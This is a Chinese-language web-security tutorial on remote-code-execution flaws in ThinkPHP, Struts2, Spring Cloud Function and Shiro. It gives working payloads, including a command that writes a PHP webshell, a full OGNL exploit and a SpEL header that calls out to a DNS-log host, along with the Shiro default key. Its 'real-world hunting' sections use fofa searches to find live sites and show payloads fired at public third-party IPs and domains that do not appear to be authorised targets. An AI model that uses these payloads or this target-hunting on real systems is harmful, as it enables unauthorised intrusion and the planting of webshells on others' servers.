常见框架漏洞

1.什么是框架

Web框架(Web framework)或者叫做Web应用框架(Web application framework)，是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持的方法。使用Web框架，很多的业务逻辑外的功能不需要自己再去完善，而是使用框架已有的功能就可以。如图片验证码 , 数据库交互语句等

2.Thinkphp

2.1Thinkphp框架介绍

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循 Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持 MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。 官网网址

https://www.thinkphp.cn/

我们以后可能会遇到的 Thinkphp版本有 , Thinkphp3 , Thinkphp5 , Thinkphp6 , 遇到最多的是 thinkphp5

2.2TP5 rce

thinkphp5披露出的最多的漏洞就是rce , 其中的影响的版本范围非常广

5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
不同版本 payload 不同，且5.13版本后还与debug模式有关
​
poc:漏洞验证 , 一段能够证明漏洞是否存在的代码 
exp:漏洞利用 , 一段能够利用漏洞的代码 
payload:攻击载荷

Thinkphp5 5.0.22/5.1.29 rce复现 环境搭建

cd vulhub-master/thinkphp/5-rce 
docker-compose up -d

漏洞原理

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖，通过覆盖类的核心属性filter导致rce，其攻击点较为多，有些还具有限制条件

poc

http://192.168.1.159:8080/index.php? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo  &vars[1][]=-1

上述poc只是简单的运行了phpinfo , 我们可以修改payload , 进而实现漏洞的利用

?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&va  rs[1][]=whoami

如果想要写入一句话木马 , 可以使用以下payload

?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&va  rs[1][]=echo "<?php @eval(\$_POST[1]);?>" >1.php

补充 : 实验做完记得关闭环境

docker-compose down

Thinkphp5 5.0.23 rce复现 环境搭建

cd vulhub-master/thinkphp/5.0.23-rce 
docker-compose up -d

POC

http://ip:port/index.php?s=captchapost请求
_method=	construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

执行系统命令

_method=  construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

2.3TP的综合利用工具

上面是我们手动测试payload实现的攻击 , 可以把这些整合到一个工具中 , 实现真多thinkphp可能存在的所有漏洞的扫描 , 推荐几个比较好用的工具 , 但是要记住 , 工具是会存在误报的

ThinkPHP.V2.0.by.jar 
ThinkphpGUI-1.3-SNAPSHOT.jar

2.4实战挖洞

fofa

body="thinkphp" && icon_hash="1165838194" && body="V5"

随便找的一个

http://64.176.36.205:8080/index.php?s=captchapost请求
_method=	construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

上面是通过fofa批量找thinkphp框架搭建的网站 , 然后测试是否存在漏洞 如果给你一个网站你如何识别是否使用了thinkphp框架

1. 使用指纹识别插件 Wappalyzer
2. 通过构建报错的url , 根据报错信息判断
3. 根据tp的默认icon
4. 路由格式
....

关于thinkphp的漏洞远远不止这些 , 像这类历史漏洞 , 大家需要做的是收集并整理 , 以后遇到这种框架 , 你要知道它在历史版本上存在过什么漏洞 , 使用对应的payload或者是工具 , 打就完了 更多利用方式可以参考： GitHub - Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合 Thinkphp5 RCE总结 - Y4er的博客

https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-  CMS%E6%BC%8F%E6%B4%9E/Thinkphp/Thinkphp%205.1.%28-31%29%265.0.%28- 23%29%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

3.struts2

3.1struts2框架介绍

Struts 2 最初被称为 WebWork 2，它是一个简洁的、可扩展的框架，可用于创建企业级Java web应用框架。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。 Struts 2 是一个基于MVC设计模式的web应用框架： MVC：模型(Model)、视图(View)、控制器(Controller)：

• 模型 --- 属于软件设计模式的底层基础，主要负责数据维护。

• 视图 --- 这部分是负责向用户呈现全部或部分数据。

• 控制器 --- 通过软件代码控制模型和视图之间的交互。

3.2struts2 rce

Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001 , 到现在已经到披露到 s2-062 不同的Struts 2 版本对应的payload是不同的 S2-057远程执行代码漏洞复现 环境搭建

cd vulhub-master/struts2/s2-057 
docker-compose up -d

漏洞原理

S2-057漏洞产生于网站配置xml的时候，有一个namespace的值，该值并没有做详细的安全过滤导致可以写入到XML上，尤其url标签值也没有做通配符的过滤，导致可以执行远程代码，以及系统命令执行。S2-057 先决条件 :
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性，或使用了通配符用户将从 uri 传递命名空间，并将其解析为 OGNL 表达式，最终导致远程代码执行漏洞

补充

OGNL表达式
OGNL（Object-Graph Navigation Language的简称），struts框架使用OGNL作为默认的表达式语言。
它是一种功能强大的表达式语言，通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。
OGNL是通常需要结合Struts 2的标志一起使用的，主要是#、%、$ 这三个符号的使用：#：获得contest中的数据；%：强制字符串解析成OGNL表达式；$：在配置文件中可以使用OGNL表达式。

访问靶场

1.15.136.212:8080/struts2-showcase

POC

http://192.168.1.159:8080/struts2-showcase/${(123+123)}/actionChain1.action

可以看到中间数字位置相加了 , 说明我们中间的表达式正确的执行了 , 那么我们可以构建可以执行系统命令的表达式进行rce EXP

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')). 
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

/struts2- showcase/%24%7b%0d%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%2  7%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%6  5%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%2  8%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action

3.3综合利用工具

因为s2系列漏洞很多 , 如果全部记下所有的poc和exp非常的不容易 , 而且实战中效率很低 , 这个时候我们可以采用综合利用工具 , 对当前网站测试所有的s2漏洞

Struts 2_v18.09.jar

burp被动插件

Struts Finder

3.4实战挖洞

fofa

app="struts2"

https://www.cerpba.com/

执行系统命令

给你一个网站你怎么判断是否使用了struts2框架

1. 通过网页后缀来判断，如 .do .action，有可能不准。
2. 判断 /struts/webconsole.html 是否存在来进行判断，需要 devMode 为 true。
3. 通过 actionErrors，要求是对应的 Action 需要继承自 ActionSupport 类。如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111；
如果返回的页面出现异常，则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象：页面直接出现 404 或者 500 等错误。
页面上输出了与业务有关错误消息，或者 1111 被回显到了页面上。页面的内容结构发生了明显的改变。
页面发生了重定向。

更多利用方式可以参考： Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户 https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

4.spring

4.1spring框架介绍

Spring是Java EE编程领域的一个轻量级开源框架，该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建，是为了解决企业级编程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此它将面向接口的编程思想贯穿整个系统应用，实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构，分层架构允许使用者选择使用哪一个组件，同时为J2EE应用程序开发提供集成的框架。 2009年9月Spring 3.0 RC1发布后，Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架，会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞，这导致Struts2越来越不受待见。 因此，Spring引入SpEL必然增加安全风险。事实上，过去多个Spring CVE都与其相关，如CVE-2017- 8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等 SpEL是什么？ SpEL(Spring Expression Language)是基于spring的一个表达式语言，类似于struts的OGNL，能够在运行时动态执行一些运算甚至一些指令，类似于Java的反射功能。就使用方法上来看，一共分为三类，分别是直接在注解中使用，在XML文件中使用和直接在代码块中使用。 SpEL原理如下：

  1. 表达式:可以认为就是传入的字符串内容；2. 解析器︰将字符串解析为表达式内容；3. 上下文:表达式对象执行的环境；4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象，活动上下文对象表示了当前表达式操作的对象。

4.2spring rce

Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）复现 环境搭建

cd vulhub-master/spring/CVE-2022-22963 
docker-compose up -d

漏洞原理

Spring Cloud Function 是基于Spring Boot 的函数计算框架，它抽象出所有传输细节和基础架构，允许开发人员保留所有熟悉的工具和流程，并专注于业务逻辑。 由于Spring Cloud Function中 RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，未经授权的远程攻击者可利用该漏洞执行任意代码

访问靶场

http://1.15.136.212:8080/

POC 发送如下数据包， spring.cloud.function.routing-expression 头中包含的SpEL表达式将会被执行：

POST /functionRouter HTTP/1.1 Host: 10.10.1.6:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("ping y689bh1h.eyes.sh") Content-Type: text/plain
Content-Length: 4
test

4.3综合利用工具

spring相关的漏洞很多 , 我们上面复现的漏洞 , 在该工具中没有对应的利用方式 , 使用CVE-2022-22947进行演示 漏洞环境

cd vulhub-master/spring/CVE-2022-22947 
docker-compose up -d

利用工具

SpringBoot-Scan-GUI-main

4.4实战挖洞

fofa

icon_hash="116323821"

spring的特征

1. icon 是个小树叶
2. 默认报错页面
3. ....

spring 框架还是很流行的框架的，很多甲方的网站建设都有使用到该框架进行搭建，日常渗透也能经常见到。 更多利用方式参考： 【网络安全】Spring框架漏洞总结（一）_黑客_网络安全学海_InfoQ写作社区 【网络安全】Spring框架漏洞总结（二）_黑客_网络安全学海_InfoQ写作社区 GitHub - LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料，利用方法和技巧合集，黑盒安全评估 check list

5.shiro

5.1shiro介绍

Apache Shiro是一个强大易用的Java安全框架，提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用，同时也能提供健壮的安全性。

5.2shiro 反序列化rce

Shiro-550 反序列化rce复现 环境搭建

cd vulhub-master/shiro/CVE-2016-4437 
docker-compose up -d

漏洞原理 Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的 cookie。 cookie的key为RememberMe，cookie的值是经过对相关信息进行序列化，然后使用aes加密，最后在使用base64编码处理形成的。 在服务端接收cookie值时，按照如下步骤来解析处理

1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作（未作过滤处理）
在调用反序列化时未进行任何过滤，导致可以触发远程代码执行漏洞。

利用条件

获得aes的加密密钥在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==，这里就可以通过构造恶意的序列化对象进行编码，加密，然后作为cookie加密发送，服务端接收后会解密并触发反序列化漏洞

尽管目前已经更新了许多版本，官方并没有对反序列化漏洞本身解决，而是通过去掉硬编码的密钥，使其每次生成一个密钥来解决该漏洞。但是，目前一些开源系统、教程范例代码都使用来固定的编码， 这 里我们可以通过搜索引擎、github等来收集密钥，提高漏洞检测与利用的成功率。 只要rememberMe的AES加密秘钥泄露，无论shiro是什么版本都会导致反序列化漏洞。 漏洞复现 访问

http://1.15.136.212:8080/login

输入账号密码 , 抓包

存在shiro , 这里直接使用工具构造反序列化实现rce

注入内存马

使用冰蝎3.0链接

5.3综合利用工具

burp被动扫描插件

https://github.com/pmiaowu/BurpShiroPassiveScan

shiro利用工具

shiro_attack-4.5.3-SNAPSHOT-all.jar

5.4实战挖洞

fofa

app="Apache-Shiro" 
header="rememberme=deleteMe" 
header="shiroCookie"

http://47.110.245.84:8000/

如果给你一个站点 , 你怎么判断是否使用了shiro

响应包中存在字段 set-Cookie: rememberMe=deleteMe